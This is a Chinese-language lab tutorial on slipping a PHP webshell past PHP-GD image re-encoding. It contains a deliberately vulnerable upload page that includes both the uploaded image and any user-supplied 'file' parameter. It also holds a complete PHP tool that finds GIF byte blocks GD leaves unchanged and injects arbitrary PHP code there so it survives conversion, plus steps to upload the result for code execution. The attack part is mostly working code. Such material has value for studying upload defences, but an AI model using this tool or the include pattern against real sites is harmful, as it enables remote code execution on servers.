本文主要内容

  • 重绘图的概念
  • 图片重绘实例分析,PHP输出图像函数

0x01 重绘图

应用调用图片库对上传的图片进行了图像转换,所以即使将图片与文件合并,也会将尾部转换掉,无法使用常规方法上传webshell.

  • 如何绕过

    • 将正常图片用目标使用的图像库进行转换
    • 寻找转换前后两次未变的部分
    • 将未变部分替换为欲上传的WebShell
    • 将替换后的文件进行图像文件转换,看是否转换后仍存在替换后部分
  • 比如:

    转换前:1233333abcdefg[1111222333]sdas213

    转换后:xsadssdddsdddd[1111222333]2313322

0x02 实战练习

2.1 部署

  • 将参考代码地址项目下载,并放置在windows+phpstudy WWW目录下,并访问,部署完成状态

2.2 上传代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<h2>This is a quick demo to show the process of bypass PHP-GD.</h2>
<h3>Choose image to upload, then "include $upload_path;" to show some data.</h3>
<h3>or, use parameter "file" to include file, e.g. http://xxxxx/index.php?file=&lt;something&gt;</h3>

<form method="POST" action="" enctype="multipart/form-data">
<input type="file" name="upfile" value="">
<input type="submit" value="upload">
</form>


<?php
function gd_process($src_img, $dst_img) {
try {
# you can redefine the GD process
$im = imagecreatefromgif($src_img);
imagegif($im, $dst_img);
} catch (Exception $e) {
printf("%s\n", $e->getMessage());
return false;
}

return true;
}


if (isset($_FILES["upfile"])) {
$temp_file = $_FILES['upfile']['tmp_name'];

$img_info = getimagesize($temp_file);
if ($img_info[2] == '1') {
$upload_file = "test.gif";
if (!gd_process($temp_file, $upload_file)) {
printf("Image upload process error, please check out.\n");
exit;
}
printf("Path: %s, image upload successful!\n", $upload_file);
include $upload_file;
} else {
printf("Image type not support in this demo, GIF please...\n");
exit;
}
}

if (isset($_REQUEST["file"])) {
include $_REQUEST["file"];
}
?>
  • imagecreatefromgif()函数

    • 由文件或 URL 创建一个新图象
    • 描述:imagecreatefromgif ( string $filename )返回一图像标识符,代表了从给定的文件名取得的图像
  • PHP 输出图像

    • imagegif()、imagejpeg()、imagepng() 和 imagewbmp()函数分别允许以 GIF、JPEG、PNG 和 WBMP 格式将图像输出到浏览器或文件。
    • 语法:
      • bool imagegif ( resource image [, string filename] )
      • bool imagejpeg ( resource image [, string filename [, int quality]] )
      • bool imagepng ( resource image [, string filename] )
      • bool imagewbmp ( resource image [, string filename [, int foreground]] )
    • 参数说明:
      • image 欲输出的图像资源,如 imagecreate() 或 imagecreatefrom 系列函数的返回值
      • filename 可选,指定输出图像的文件名。如果省略,则原始图像流将被直接输出。
      • quality 可选,指定图像质量,范围从 0(最差质量,文件最小)到 100(最佳质量,文件最大),默认75 ,imagejpeg() 独有参数
      • foreground 可选,指定前景色,默认前景色是黑色,imagewbmp() 独有参数

2.3 上传利用copy制作的图片木马

  • 图片demotest.gif 含phpinfo()WebShell,测试结果

  • 分析上传成功的test.gif和demotest.gif

2.4 图片转换代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<?php
/**
* Author: rickchen.vip(at)gmail.com
* Date: 2015-04-05
* Desc: Use Similar-Block-Attack to bypass PHP-GD process to RCE
* Reference: http://www.secgeek.net/bookfresh-vulnerability/
* Usage: php codeinj.php demo.gif "<?php phpinfo();?>"
*/


function gd_process($src_img, $dst_img) {
try {
# you can redefine the GD process
$im = imagecreatefromgif($src_img);
imagegif($im, $dst_img);
} catch (Exception $e) {
printf("%s\n", $e->getMessage());
return false;
}

return true;
}


function find_similar_block($src_img, $dst_img, $block_len, $slow=false) {
$src_data = fread(fopen($src_img, "rb"), filesize($src_img));
$dst_data = fread(fopen($dst_img, "rb"), filesize($dst_img));
$src_index = 0;
$pre_match_array = array();

while ($src_index < (strlen($src_data) - $block_len)) {
$find_data = substr($src_data, $src_index, $block_len);

$dst_index = 0;
$found = false;
while ($dst_index < (strlen($dst_data) - $block_len)) {
$temp_data = substr($dst_data, $dst_index, $block_len);
if (0 === strcmp($find_data, $temp_data)) {
$match = array(
"src_offset" => $src_index,
"dst_offset" => $dst_index
);
$pre_match_array[] = $match;
$found = true;

/*
printf("Similar block found> src_offset: %d\n", $src_index);
printf(" dst_offset: %d\n", $dst_index);
printf(" similar_data: %s\n", str2hex($temp_data));
printf(" similar_length: %s\n\n", strlen($temp_data));
*/
}
if ($found && $slow == false)
$dst_index += $block_len;
else
$dst_index++;
}

if ($found && $slow == false)
$src_index += $block_len;
else
$src_index++;
}

return $pre_match_array;
}


function inject_code_to_src_img($src_img, $pre_match_array, $injection_code) {
$src_data = fread(fopen($src_img, "rb"), filesize($src_img));
$inj_len = strlen($injection_code);

$find_n = 0;
foreach ($pre_match_array as $similar_block) {
#printf("Trying inject code to source image with offset: %d, length: %d\n", $similar_block["src_offset"], $inj_len);
$mod_src_data = substr($src_data, 0, $similar_block["src_offset"]).$injection_code.substr($src_data, $similar_block["src_offset"] + $inj_len);
$temp_img = sys_get_temp_dir()."/".$src_img.".mod";
$temp_cvt_img = $temp_img.".gd";
fwrite(fopen($temp_img, "wb"), $mod_src_data);

if (!gd_process($temp_img, $temp_cvt_img)) {
#printf("PHP-GD process() the image modified error, offset: %d\n", $similar_block["src_offset"]);
#printf(" length: %d\n\n", $inj_len);
continue;
} else {
if (check_code($temp_cvt_img, $injection_code)) {
$fuck_img = "gd_".$src_img;
fwrite(fopen($fuck_img, "wb"), $mod_src_data);
printf("Inject code to source image successful with offset: %d\n", $similar_block["src_offset"]);
printf("Saving result \"%s\", have fun! :)\n", $fuck_img);
exit;
} else {
continue;
#printf("Modified image doesn't work well, offset: %d, retry...\n", $similar_block["src_offset"]);
}
}
}
}


function check_code($src_img, $injection_code) {
$data = fread(fopen($src_img, "rb"), filesize($src_img));

return strpos($data, $injection_code);
}


function str2hex($str){
$hex = "";
for ($i = 0; $i < strlen($str); $i++){
$hex .= sprintf("%02x", (ord($str[$i])));;
}

return $hex;
}


function hex2str($hex){
$str = "";
for ($i = 0; $i < strlen($hex)-1; $i+=2){
$str .= chr(hexdec($hex[$i].$hex[$i+1]));
}

return $str;
}


/* main */
if ($argc < 3) {
printf("Usage: php %s <src_img> <inj_code>\n", $argv[0]);
exit;
}

$slow = false;
$src_img = $argv[1];
$injection_code = $argv[2];

$img_info = getimagesize($src_img);

/* GIF image type value "1" */
if ($img_info[2] == '1') {
$cvt_img = sys_get_temp_dir()."/".basename($src_img);
if (!gd_process($src_img, $cvt_img)) {
printf("PHP-GD process() function error, please check out.\n");
exit;
}
} else {
printf("This script only support GIF image.\n");
exit;
}
$block_len = strlen($injection_code);
$pre_match_array = find_similar_block($src_img, $cvt_img, $block_len, $slow);

if (sizeof($pre_match_array)) {
inject_code_to_src_img($src_img, $pre_match_array, $injection_code);
} else {
printf("Not found any similar %d bytes block.\n", strlen($injection_code));
}
printf("Cant find any useful similar block to inject code, but take it easy. :(\n");

2.5 使用图片转换代码,转换代码

  • 转换操作如图

  • 查看demo.gif,经过转换后的gd_demo.gif

2.6 上传2.5转换后的图片gd_demo.gif

  • 测试结果

  • 再次分析gd_demo.gif和上传成功的test.gif